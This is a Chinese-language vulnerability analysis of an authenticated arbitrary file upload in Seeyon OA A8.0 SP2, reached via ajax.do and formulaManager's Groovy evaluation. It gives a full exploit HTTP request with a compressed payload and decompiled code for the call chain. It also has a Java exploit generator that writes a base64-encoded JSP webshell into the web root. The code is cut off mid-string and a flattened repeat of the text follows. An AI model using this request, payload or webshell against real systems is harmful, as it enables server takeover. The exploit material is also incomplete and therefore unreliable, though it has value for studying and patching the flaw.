致远OA A8.0 SP2 Ajax.do调用formulaManager任意文件上传漏洞分析
字数 945 2025-08-23 18:31:09

致远OA A8.0 SP2 Ajax.do调用formulaManager任意文件上传漏洞分析

漏洞概述

致远OA A8.0 SP2版本存在一个通过Ajax.do接口调用formulaManager的任意文件上传漏洞,攻击者可以利用该漏洞在服务器上上传任意文件,包括JSP Webshell,从而获取服务器控制权限。

漏洞环境

  • 受影响版本:致远A8.0 SP2
  • 利用前提:需要有效的用户登录凭证(Cookie)

漏洞利用

利用请求示例

POST /seeyon/ajax.do?method=ajaxAction&managerName=formulaManager&requestCompress=gzip HTTP/1.1
Host: 10.0.103.5
Content-Length: 5657
RequestType: AJAX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Origin: http://10.0.103.5
Referer: http://10.0.103.5/seeyon/main.do?method=managementMain
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=3FCC...; hostname=10.0.103.5:80; loginPageURL=; login_locale=zh_CN
x-forwarded-for: 127.0.0.1
Connection: close

managerMethod=validate&arguments=%1F%C2%8B%08%00%00%00%00%00%00%00mV%5Bs%C2%A2J%10%C3%BE%2B%29%C2%9E%C2%92%C3%9A%1C%17Qv%C3%97%C2%A4%C3%B6A%C2%88%22%C2%A8%24%02r%C2%99%C2%93%C3%B3%C3%80e%04d%40%C3%82E%C3%85T%C3%BE%C3%BBi%40%C2%8D%C2%B1%C3%B2%40%C3%A9%C3%B4%C3%B4%C3%B5%C2%9B%C2%AF%7B%C3%A6%C3%9Fw*%C3%B4%C2%A8%C2%87%C2%A4%24%C3%A4%C2%9EZm%C2%B2%C2%B8%24%C2%B6V%C2%A5%C2%98z%60%C3%8E%C3%AB%21%09%C3%AD%C3%BCJG%C2%B6c%C3%90%C2%A1%0A%C2%9C%17%C3%94%3D%C3%A5%C3%A1%C3%9C%C3%8D%C3%82%C2%B4%087%C3%89I%2F%C2%B53%3B%C3%8E%C2%A5%C3%BCZrZ%C2%B9v%C2%81%C3%BDMV%C2%9D%C3%96%05%C2%8ES%02%C2%B2%C2%B3Bn%C2%83%00_%C2%85%1D%C3%AD%C3%93%0C%C3%A7y%13%07%C2%A2%C2%AEnV%21%C3%81%2Fv%11%C3%9C%C3%BC%C2%BDy%C2%A5%3A%C2%9D%C2%9F%3B%C3%AC%C3%98i%C2%9A%C3%BFT%C2%9E%C2%9F%C2%B5%C2%9F%C3%B1%21c%3A%C3%AB%3C%7D%C2%A5%1E%C3%97%C3%B6%C3%96%C3%AE%C2%84%C2%9B%C3%8E%18%C3%B4%1B%230H%C3%B0%C3%AE%C3%A6R%7E%7Brv%C3%B7%C2%A8%16Y%C2%98%C3%B87y%C2%80%09%C3%B9%C3%BBJ%C2%BD%C3%B0%C3%BA%C3%90%15%C3%86%09R%C2%B9%C3%941%C2%B9%C2%AD%C2%9B%2C%06b%C2%9C%06%5E%3C*%3DSI%1D%C2%BE%C3%BF6%13%C3%9A%C2%B5m%C3%BC%29%C2%A7%C3%A1%C3%BE%C3%8D2Q%C2%80yv%C3%AD%26d%C3%A7%09%C3%9F%C3%8B%C3%9C%1EG%C2%AC%C2%AA%C3%BF%26%C2%86%C3%8B%1F%2F%C3%BC2%C2%B0%C2%98%7D%C3%A0%C3%B6%C3%A6%C2%BE%C2%AEr%04O%14%C3%A2%C3%84%C3%8AA%1C%C3%89%C2%B9e%C3%8A%07M%18%04H%C3%90%2Bq%C2%92O%C3%B9%05%C3%91%C2%A7%C3%97ra%C2%9E%C2%B6%7B%C2%91%C3%A4%C3%B6%C3%B4%1D2%C3%85%C2%8DUE%C2%BFy%3F%C2%92V%C2%8B%C2%8D%C3%84%C2%9B%5C%C3%97%C2%8A%C3%B7%C2%A9UqO%C2%8E0%3E%C2%B8%15%C2%97L%05%C2%89%C3%B5%04%C3%9D1U.%C2%9C%C2%AA%5C%C2%A3%C3%8B%C2%9B%12%C3%B1%26z%C3%A5%C2%84%C3%9C%C3%8139%C3%A2%C2%86l%C2%84%0C%C2%94%3A%C2%B1%7E%C2%B4%0B%C3%82%19%3F%C3%9C%C3%8Dx.%C2%9C%C3%85%7B%C3%88%C3%91%C2%A3m%C3%BE3%C3%8EJ%5D%C3%BE%C3%A0%C3%97%3B%C3%82%27J%C2%85%C3%8D%26W%C3%8D%C2%9BH%60%C3%AF%C3%BA6%C2%A3%C2%B3%2F%C2%AA%C3%88%C3%8E%C2%9F%C2%B8%C3%90%3A%C3%B8%7D%C3%99X%C3%B4dmy%C2%98%1F%C3%9C%C2%AE%C2%B8nt%2Bd%C2%8E%C2%BB%C3%88%C2%94%C3%A9Y%22%13o4%C2%A6k%5B%2B%C3%91i%C2%A4%C3%BA%C2%A1%C3%8B%14%C2%AC%18%C3%AE%1A%3FS%C3%AD%C2%ABo%24%C2%8CiK%C3%AB%7E%C3%9A%C3%87%1E%C3%B1%C3%86%12%C2%B1%0C%05j%C3%B0%C3%93Y%C3%92%C3%BC%C2%9F%C3%9B%06K%C2%A6%C3%87%7Cm%C3%83%C3%B2%C2%A7%C2%82%12x%C3%82%28xQ%C2%B9%C3%923%C3%B6%C3%B9%19%07%5D%C2%A6%C3%9D%C2%98%C2%94%C2%A8%C3%A2%18%C3%80%C3%92%C2%87%7D%0D%C2%83_d%C3%90%25btz9%C2%91%C2%B6.%C3%A0%C3%AEM%C2%A2%C3%8D%C2%99%0B%C2%B1%5E%C2%B9%0C%C3%99%3A%C2%A1%C2%98%3E%C3%AF%00%C3%B3%05%09%C2%B1%C2%A9%10%C2%A3K%C3%BB%163%C2%88%C2%90%C3%96mb%C3%94%7B%22%3F%C3%B4%C3%9B%C2%8FKQ8%C3%9C%C3%94%C2%B6%C2%B3X%C3%9E%02%C2%BF%027%C3%96%C2%97N%C3%A5%C2%87s%C2%B5%C3%9F%17%C3%83%C3%88%7FY%C3%93%C3%BE%C2%9C%C2%8F%7C%C3%BC%C3%85%C2%AE%C3%BD%16G%C3%8E%2C%C3%A2%C3%B1%01i%16-%3E%C3%91%27Y%C2%89%C3%A2A%C2%A5%C3%85%C3%A3%C2%A2%C3%86%C3%8E%C2%8E%C3%87%C2%8C%C2%A5%C2%B2%5DO+%C3%B9%2C%C2%92%02%C2%97Y22%C3%9F%C3%A6y%C3%ADSc%C2%A47d%C3%88%C2%B48RH%C2%93w%5B%3F%0F%7C%23%C3%B2z%C3%91%C3%94%C2%AF%19%3Am%0B%C2%83h%C3%8AK%092%C2%95%11%C3%A8o%1B%1E%C3%82%C3%B9%C2%9C%C2%B8%09u%C2%A7%C2%A2%C3%80v%1Da%C2%97%C3%8E%00K%2F%1EdH%0DN%7Er%C2%91%0F%5E%2Chs%C2%AB%C2%A7%00%07%23%C3%9FI%C3%B4%C3%9Ci%C3%8F%C3%86%C3%BF%C2%9A%13%C2%B7v%18%C2%85%C3%94%C2%B5%7Dr6%C3%B2%15Ao%C3%A4%C3%80%C3%91%3A%C2%87%23%3F%C3%A1%C2%AC%C3%AB%C2%B3%1Fu%C2%89%27%04%5B%C3%84%C3%BB%21%3A%C3%AA%C3%95%C2%B9%01%C2%8F%7B%C3%A29%C2%BF%C3%AEo%2B%214%C3%92%0B%0F%C2%B0od%2B5%C2%82%1Ef%19%C2%87%29%C3%88%C3%B4%C2%B3%C3%BE%1C%C3%AA+%5E%C3%85%7D%C3%A6k%16%C2%91e*A%1B%C2%AB%C3%89%C3%A9%00X%C3%A8%C3%BA%C3%88*%C2%9E%01W%C3%B0%C3%B3%C2%B5%C2%8E%09%C3%AD%23c%7F%40-%C2%BF%C2%AE%C3%AB%3B%C3%B5%C3%A4%09%C2%9B%1A%C3%AF%C2%A3%C2%8C%C2%8D%C2%9D%C2%9E%C3%B4l%19%5D%C3%A0%C2%ADt%C3%B0%C2%8C%7E%C3%A9%18%C3%A4%60U%2C%C2%BF%C3%90%C3%A5%C2%B1%C2%BC%C2%BE%C3%84%C3%BE%5B%C3%AC%C2%8E9%2F.%C3%B0%1A%0E%C3%84%C3%91%C2%89%03l%C2%89LOr%12%C2%99%C2%B6%0Cv%0D%5C%C3%B9%C2%96%13%0D%0E*%C3%98%C3%B1%C3%81%C2%89%C3%93%C3%A9%05%3F%1AN%1Cy%C2%B7%C2%99%C2%AA%C3%8Dy%C3%88%C3%B0m%1Cf%01%C3%BDq%C3%94%5BJ%5D%14%23%C2%88%7F%C3%86%C2%B3%C2%AD%C2%B1%5Bx%C2%B8%7B%C3%AA7v%C3%9D%C3%88z%C3%B4%25g%C3%8E5%C3%82%C3%9C%C2%81%7C%C3%9D3G%C3%AB3lz%C3%9F%C2%A4%C2%AF%C3%B2%C3%A6%06M%1F%2F%C3%A5%C3%94%15%02%C2%88%C3%89%C2%AD%C3%9B%C3%9E+%3B%C2%BB%C3%B6%C3%93%C2%9C%1B%C2%81%19%C2%AC%04N%2C%C3%97%C3%98r%C2%8A%3E%0F%C3%9B%C2%B9%12I%C2%80%2F%C3%8C%15BO%C2%9F%C3%8E%C2%B9j%10%0F%C3%A6%C2%8B2C%26%C3%91%C2%A0%C3%B7%C3%97S%C2%A1+%C2%B8%C2%AD%C2%95%C2%AF1i%C2%B8%C3%87%0F%C3%83%C3%85R%C3%97%C3%A0%2CN3%C2%A0%C3%89WW%03%C3%A8%17rh%C3%A3%C2%B6%5C%C2%839t%C2%81%C2%9B%3Cw%C2%98q%C2%8D%25%C3%A0%07%C3%B2*X%C3%8Fbe%C2%AB%00%06%C2%96%C2%B1%C3%9B%C2%B4%C3%B8G%C2%80%09%C3%A4B_%C3%A6%0D%C2%BA0%C3%B3%2C%C3%A0%C3%96t%C3%82%05%C3%A0%C3%AF%C3%89aX%1A%C2%99%01%7D%C2%9C%C2%91%C2%80%03%19X%0C%60%C3%84%C3%B8%1B%C3%85%0C%C3%96%C3%88%C3%A4h%C3%9B%18%C2%94%C2%A2%C2%B0L%C3%B1.%1D%3C%C3%AF%C3%92%C2%ADg.%06%C3%8D%1D%C2%B7%C2%84%19%C2%94%28p%C3%BF%2CJw%C2%A2%1F%C3%AC%C2%91%C2%B4E0%C3%A3j_%C2%92%C3%96%C2%87%C3%9B%C3%B01%2F%C2%93N%1C%C3%A6n%C2%87%1B%C2%AA%C2%A3_%C3%BD%27%C3%ACn%3C%C2%9C%C3%9Dx%C3%87%C3%9F%C3%B6f%C3%BD%5E%C3%A9%C3%B6%7C%C2%B7%C2%B6%C3%9A%C3%87Ek%C3%92.n%C2%8F%7E%3A%C3%AD%2FW%C2%AEV%60%C3%97%5C%C3%85w%C3%B7%C2%AF%C3%94R%1B%C3%BF%C3%B3%C3%A7%C2%95%C2%BA%7B%C2%ACo%C3%AB%C3%8E.%0B%0B%7C%7B%C3%A9%C3%AB%C3%AE%C3%B1%C3%A3%C2%B1%7E%C2%96%40%C2%A4%C3%BA%C2%81%C2%90%17v%11%C2%BA7%C3%BB%C3%BD%C3%BE%C3%B6%C3%AE%1D%C2%9E*x%C2%9Fb%C2%B7%C3%90mR%C2%9E%C3%9F%16%C2%9E%5D%1C%C3%9F%3C%C3%87%C2%97%07%C2%98%C2%9C%17n%C2%86%C3%ADb%C2%93%7DYb-%C2%8C%C3%8F%0Ae%C3%AA%5DI2%0C%09%C3%A3%C3%84%C3%85%C3%A2%C3%B9e%05%C3%95Q%0FEV%C3%A2%3A%C2%81%22%C2%B3%C3%A7vJ%3D%C2%BC%7F%7C%C3%9CS%C3%94%C3%BD%C3%BB%C3%87%7D%C2%BD%C3%B3%C3%9F%C3%BFp%C2%A5%C2%92D%C2%8B%09%00%00

关键参数说明

  1. 请求路径/seeyon/ajax.do
  2. 关键GET参数
    • method=ajaxAction:指定调用AjaxController的ajaxAction方法
    • managerName=formulaManager:指定要调用的服务类
    • requestCompress=gzip:指定请求参数使用gzip压缩
  3. 关键POST参数
    • managerMethod=validate:指定要调用的方法
    • arguments=...:经过gzip压缩的JSON参数

漏洞分析

漏洞调用链

  1. 请求ajax.do接口,指定method=ajaxAction
  2. 调用AjaxController.ajaxAction()方法
  3. 调用AjaxController.invokeService()方法
  4. 通过getService()获取formulaManager实例
  5. 调用invokeMethod()反射调用formulaManager.validate()方法
  6. 最终执行Groovy脚本实现任意文件上传

核心代码分析

AjaxController.ajaxAction()

public ModelAndView ajaxAction(HttpServletRequest request, HttpServletResponse response) throws Exception {
    response.setHeader("Pragma", "No-cache");
    response.setHeader("Cache-Control", "no-cache");
    response.setDateHeader("Expires", 0L);
    response.setContentType("application/json; charset=UTF-8");
    String responseCompress = request.getParameter("responseCompress");
    String url = request.getRequestURI();
    String outStr = "";
    outStr = this.invokeService(request, response);
    if (Strings.isNotBlank(request.getParameter("ClientRequestPath"))) {
        outStr = ZipUtil.compressResponse(outStr, responseCompress, "UTF-8", LOGGER);
        outStr = Strings.toHTML(outStr);
    }
    Writer out = response.getWriter();
    out.write(outStr);
    return null;
}

AjaxController.invokeService()

private String invokeService(HttpServletRequest request, HttpServletResponse response) throws BusinessException {
    AppContext.initSystemEnvironmentContext(request, response, false);
    String serviceName = request.getParameter("managerName");
    String methodName = request.getParameter("managerMethod");
    String strArgs = request.getParameter("arguments");
    String compressType = request.getParameter("requestCompress");
    strArgs = ZipUtil.uncompressRequest(strArgs, compressType, "UTF-8", LOGGER);
    String ctpJSONPCallback = request.getParameter("ctpJSONPCallback");
    String retValue = null;
    JSONValue jsonValue = null;
    try {
        long start = System.currentTimeMillis();
        Object service = getService(Strings.escapeJavascript(serviceName));
        Object result;
        try {
            result = this.invokeMethod(service, methodName, strArgs, serviceName);
        } catch (Exception var20) {
            this.logger.error("ajax error,serviceName=" + serviceName + ",methodName=" + methodName + ", strArgs=" + JSONUtil.toJSONString(strArgs), var20);
            throw var20;
        }
        // 忽略了
        return retValue;
    }
}

FormulaManagerImpl.validate()

public static boolean validate(Formula formula, String expression, Map context, boolean isSave) throws BusinessException {
    Object obj = null;
    if (formula.getFormulaType() != FormulaType.GroovyFunction.getKey() && formula.getFormulaType() != FormulaType.Variable.getKey()) {
        return false;
    } else {
        try {
            String script = formula.toString() + ";" + expression;
            // 执行groovy脚本
            obj = eval(script, context);
            validateReturnType(formula, obj);
        } catch (ScriptException var7) {
            LOG.error(ResourceUtil.getString("ctp.formulas.error.chekcFailed"), var7);
            throw new BusinessException("ctp.formulas.error.chekcFailed");
        } catch (StackOverflowError var8) {
            LOG.error("校验Groovy函数错误:", var8);
            throw new BusinessException("堆栈溢出,请检查是否有递归调用。");
        }
        // 省略部分代码
        return true;
    }
}

FormulaUtil.eval()

public static Object eval(String scriptText, Map context) throws ScriptException, BusinessException {
    log(scriptText);
    Map ctx = new HashMap(getFormulaContext());
    ctx.putAll(context);
    return ScriptEvaluator.getInstance(true).eval(
        "import com.seeyon.ctp.common.AppContext;" + 
        "import static com.seeyon.ctp.common.formula.runtime.CtpFormula.*;" + 
        scriptText, ctx);
}

漏洞利用条件

  1. 需要设置formulaType为1或2(GroovyFunctionVariable
  2. 需要绕过Groovy脚本黑名单检查
  3. 通过formula.toString()方法构造恶意Groovy脚本

漏洞利用代码生成

以下是生成漏洞利用参数的Java代码示例:

package com.example.Test;

import com.seeyon.ctp.common.formula.FormulaUtil;
import com.seeyon.ctp.common.log.CtpLogFactory;
import com.seeyon.ctp.common.po.formula.Formula;
import com.seeyon.ctp.common.script.ScriptEvaluator;
import com.seeyon.ctp.util.ZipUtil;
import com.seeyon.ctp.util.json.JSONUtil;
import org.apache.commons.logging.Log;
import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.HashMap;

public class Test {
    private static final Log LOGGER = CtpLogFactory.getLog(Test.class);
    
    public static void main(String[] args) throws Exception {
        final Formula formula = new Formula();
        // 设置formulaType为2(Variable)
        formula.setFormulaType(2);
        formula.setFormulaName("test");
        
        // 构造恶意Groovy脚本
        String payload = "" +
            "def filePath = \"../webapps/ROOT/mzr2.j" + 
            "sp\";" +
            "java.io.File file = new java.io.File(filePath);" +
            "String shell=\"PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmEuaW8uKixqYXZheC5jcnlwdG8uKixqYXZheC5jcnlwdG8uc3BlYy4qIiU+PCUhY2xhc3MgVSBleHRlbmRzIENsYXNzTG9hZGVyIHsKCQlVKENsYXNzTG9hZGVyIGMpIHsKCQkJc3VwZXIoYyk7CgkJfQoJCXB1YmxpYyBDbGFzcyBnKGJ5dGVbXSBiKSB7CgkJCXJldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLCAwLCBiLmxlbmd0aCk7CgkJfQoJfSU+CjwlCnRyeXsKCQlTdHJpbmcga2V5PSI5MDBiYzg4NWQ3NTUzMzc1IjsKCQlyZXF1ZXN0LnNldEF0dHJpYnV0ZSgic2t5Iiwga2V5KTsKCQlTdHJpbmcgZGF0YT1yZXF1ZXN0LmdldFJlYWRlcigpLnJlY
致远OA A8.0 SP2 Ajax.do调用formulaManager任意文件上传漏洞分析 漏洞概述 致远OA A8.0 SP2版本存在一个通过Ajax.do接口调用formulaManager的任意文件上传漏洞,攻击者可以利用该漏洞在服务器上上传任意文件,包括JSP Webshell,从而获取服务器控制权限。 漏洞环境 受影响版本:致远A8.0 SP2 利用前提:需要有效的用户登录凭证(Cookie) 漏洞利用 利用请求示例 关键参数说明 请求路径 : /seeyon/ajax.do 关键GET参数 : method=ajaxAction :指定调用AjaxController的ajaxAction方法 managerName=formulaManager :指定要调用的服务类 requestCompress=gzip :指定请求参数使用gzip压缩 关键POST参数 : managerMethod=validate :指定要调用的方法 arguments=... :经过gzip压缩的JSON参数 漏洞分析 漏洞调用链 请求 ajax.do 接口,指定 method=ajaxAction 调用 AjaxController.ajaxAction() 方法 调用 AjaxController.invokeService() 方法 通过 getService() 获取 formulaManager 实例 调用 invokeMethod() 反射调用 formulaManager.validate() 方法 最终执行Groovy脚本实现任意文件上传 核心代码分析 AjaxController.ajaxAction() AjaxController.invokeService() FormulaManagerImpl.validate() FormulaUtil.eval() 漏洞利用条件 需要设置 formulaType 为1或2( GroovyFunction 或 Variable ) 需要绕过Groovy脚本黑名单检查 通过 formula.toString() 方法构造恶意Groovy脚本 漏洞利用代码生成 以下是生成漏洞利用参数的Java代码示例: